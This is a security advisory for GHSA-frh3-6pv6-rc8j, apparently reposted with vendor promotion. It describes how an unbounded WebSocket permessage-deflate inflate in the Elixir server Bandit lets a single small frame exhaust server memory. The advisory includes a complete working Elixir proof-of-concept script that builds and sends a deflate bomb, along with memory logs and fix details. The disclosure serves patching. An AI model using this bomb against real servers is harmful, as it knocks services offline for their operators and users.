GHSA-frh3-6pv6-rc8j
Fix: mtrudel/bandit@8156921GHSA-frh3-6pv6-rc8j is a security vulnerability in bandit. O3 Security confirms whether GHSA-frh3-6pv6-rc8j is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Bandit's unbounded WebSocket inflate causes BEAM OOM with a single frame
Real-World Exposure
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Description
Summary
When a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (compress: true), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are not vulnerable by default — they ship with compress: false. Affected apps are those that have deliberately opted in to permessage-deflate.
Details
In lib/bandit/websocket/permessage_deflate.ex:111-115, :zlib.inflate/2 is called without an output-size limit, and IO.iodata_to_binary/1 then materializes the entire decompressed payload as one contiguous binary in the connection process's heap.
websocket_options.max_frame_size only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no {:more, ...} resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.
The bug is gated by two server-side flags being true at the same time:
- Bandit's global
websocket_options.compress(defaults totrueperbandit.ex:198-201). - The per-upgrade
connection_opts.compresspassed toWebSockAdapter.upgrade/4(defaults tofalseperwebsock_adapter.ex:42-43; Phoenix's default is alsofalseperphoenix/lib/phoenix/transports/websocket.ex:33).
Both must be true for the handshake at bandit/lib/bandit/websocket/handshake.ex:22 to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. socket "/ws", MySocket, websocket: [compress: true] in a Phoenix endpoint, or WebSockAdapter.upgrade(conn, ..., compress: true) in a plain Plug app).
Suggested fix: thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via :length.
PoC
A fully self-contained reproducer is attached below. It boots a local Bandit server that performs a WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true), opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with elixir ws_permessage_deflate_bomb.exs.
Observed on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):
- Frame on the wire: ~6 MiB.
- BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by
IO.iodata_to_binary/1), then settled at ~6 GiB until the connection process was GC'd. - Tuning
@target_decompressed_bytesupward, or opening N parallel connections, OOM-kills the BEAM outright.
A separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented max_frame_size default is 0 (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.
Impact
Unauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation.
Affected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are not affected — both default to compress: false. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.
# Bandit WebSocket permessage-deflate bomb PoC.
#
# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2
# with no output-size cap. A small (~4 MiB) compressed frame inflates to
# multiple GiB on the BEAM heap before any application code sees it.
#
# Note: in the default setup something upstream caps wire-side frames at
# ~8 MiB even though Bandit's documented max_frame_size default is 0
# (unlimited). The bug is reachable below that cap regardless.
#
# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs
Mix.install([
{:bandit, "~> 1.10"},
{:plug, "~> 1.19"},
{:websock_adapter, "~> 0.5"}
])
defmodule EchoSocket do
@behaviour WebSock
def init(_opts), do: {:ok, %{}}
def handle_in(_message, state), do: {:ok, state}
def handle_info(_message, state), do: {:ok, state}
def terminate(_reason, state), do: {:ok, state}
end
defmodule DemoApp do
@behaviour Plug
def init(opts), do: opts
def call(conn, _opts) do
conn
|> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)
|> Plug.Conn.halt()
end
end
defmodule Bomb do
@port 4321
# 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap).
@target_decompressed_bytes 6 * 1024 * 1024 * 1024
@plaintext_chunk_bytes 10 * 1024 * 1024
def run do
{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)
sock = ws_handshake!()
deflate_payload = build_deflate_bomb()
frame = compressed_text_frame(deflate_payload)
sampler_pid = spawn_link(&sample_memory_loop/0)
log("Sending #{byte_size(frame)}-byte compressed frame…")
:ok = :gen_tcp.send(sock, frame)
handle_recv(sock)
Process.unlink(sampler_pid)
Process.exit(sampler_pid, :kill)
:gen_tcp.close(sock)
log("Done.")
end
# Open a TCP connection and complete the WebSocket handshake with
# permessage-deflate. Raises if the server doesn't negotiate it.
defp ws_handshake! do
{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()
:ok =
:gen_tcp.send(sock, """
GET / HTTP/1.1\r
Host: 127.0.0.1\r
Upgrade: websocket\r
Connection: Upgrade\r
Sec-WebSocket-Key: #{ws_key}\r
Sec-WebSocket-Version: 13\r
Sec-WebSocket-Extensions: permessage-deflate\r
\r
""")
{:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
if not (response =~ "permessage-deflate"), do: raise("permessage-deflate not negotiated:\n#{response}")
log("Handshake complete.")
sock
end
# Stream-deflate @target_decompressed_bytes worth of zeros so the client
# never holds the full plaintext at once. RFC 7692 uses raw deflate
# (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which
# we strip per the spec.
defp build_deflate_bomb do
chunk = :binary.copy(<<0>>, @plaintext_chunk_bytes)
chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)
log("Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext…")
zstream = :zlib.open()
:ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)
deflated_chunks = Enum.map(1..chunk_count, fn _ -> :zlib.deflate(zstream, chunk, :none) end)
final_flush = :zlib.deflate(zstream, <<>>, :sync)
:zlib.close(zstream)
deflated = IO.iodata_to_binary([deflated_chunks, final_flush])
trailer_size = byte_size(deflated) - 4
<<payload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF>> = deflated
log("Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).")
payload
end
# Wrap payload in a single masked WebSocket text frame with RSV1 set
# (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).
defp compressed_text_frame(payload) do
mask = :crypto.strong_rand_bytes(4)
payload_size = byte_size(payload)
mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)
masked_payload = :crypto.exor(payload, mask_stream)
length_bytes =
cond do
payload_size <= 125 -> <<1::1, payload_size::7>>
payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
true -> <<1::1, 127::7, payload_size::64>>
end
<<1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary>>
end
# EchoSocket.handle_in/2 doesn't reply, so recv times out after the
# observation window. That's enough to watch the BEAM heap spike.
defp handle_recv(sock) do
case :gen_tcp.recv(sock, 0, 5_000) do
{:ok, <<0x88, _len, close_code::16, close_reason::binary>>} ->
log("Close frame: code=#{close_code} reason=#{inspect(close_reason)}")
{:ok, bytes} ->
log("Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}")
{:error, :timeout} ->
log("recv timed out (server held the inflated payload silently).")
{:error, reason} ->
log("Connection closed: #{inspect(reason)}")
end
end
defp sample_memory_loop do
log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
Process.sleep(250)
sample_memory_loop()
end
defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end
Bomb.run()
Logs
10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[08:15:24.269] Handshake complete.
[08:15:24.321] Deflating 6144 MiB plaintext…
[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).
[08:15:37.581] Sending 6257689-byte compressed frame…
[08:15:37.582] [mem] BEAM total = 76 MiB
[08:15:37.834] [mem] BEAM total = 759 MiB
[08:15:38.087] [mem] BEAM total = 1480 MiB
[08:15:38.338] [mem] BEAM total = 2214 MiB
[08:15:38.589] [mem] BEAM total = 2724 MiB
[08:15:38.840] [mem] BEAM total = 3410 MiB
[08:15:39.091] [mem] BEAM total = 3877 MiB
[08:15:39.342] [mem] BEAM total = 4268 MiB
[08:15:39.593] [mem] BEAM total = 4815 MiB
[08:15:39.845] [mem] BEAM total = 5270 MiB
[08:15:40.096] [mem] BEAM total = 5766 MiB
[08:15:40.347] [mem] BEAM total = 12451 MiB
[08:15:40.598] [mem] BEAM total = 12452 MiB
[08:15:40.850] [mem] BEAM total = 12452 MiB
[08:15:41.101] [mem] BEAM total = 12452 MiB
[08:15:41.353] [mem] BEAM total = 12452 MiB
[08:15:41.606] [mem] BEAM total = 12451 MiB
[08:15:41.856] [mem] BEAM total = 6229 MiB
[08:15:42.107] [mem] BEAM total = 6229 MiB
[08:15:42.358] [mem] BEAM total = 6229 MiB
[08:15:42.582] recv timed out (server held the inflated payload silently).
[08:15:42.584] Done.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💧Hex | bandit | ≥ 0.5.8&&< 1.11.0 | 1.11.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bandit. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update bandit to 1.11.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-frh3-6pv6-rc8j is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-frh3-6pv6-rc8j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-frh3-6pv6-rc8j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-frh3-6pv6-rc8j in your dependencies?
O3 detects GHSA-frh3-6pv6-rc8j across Hex dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.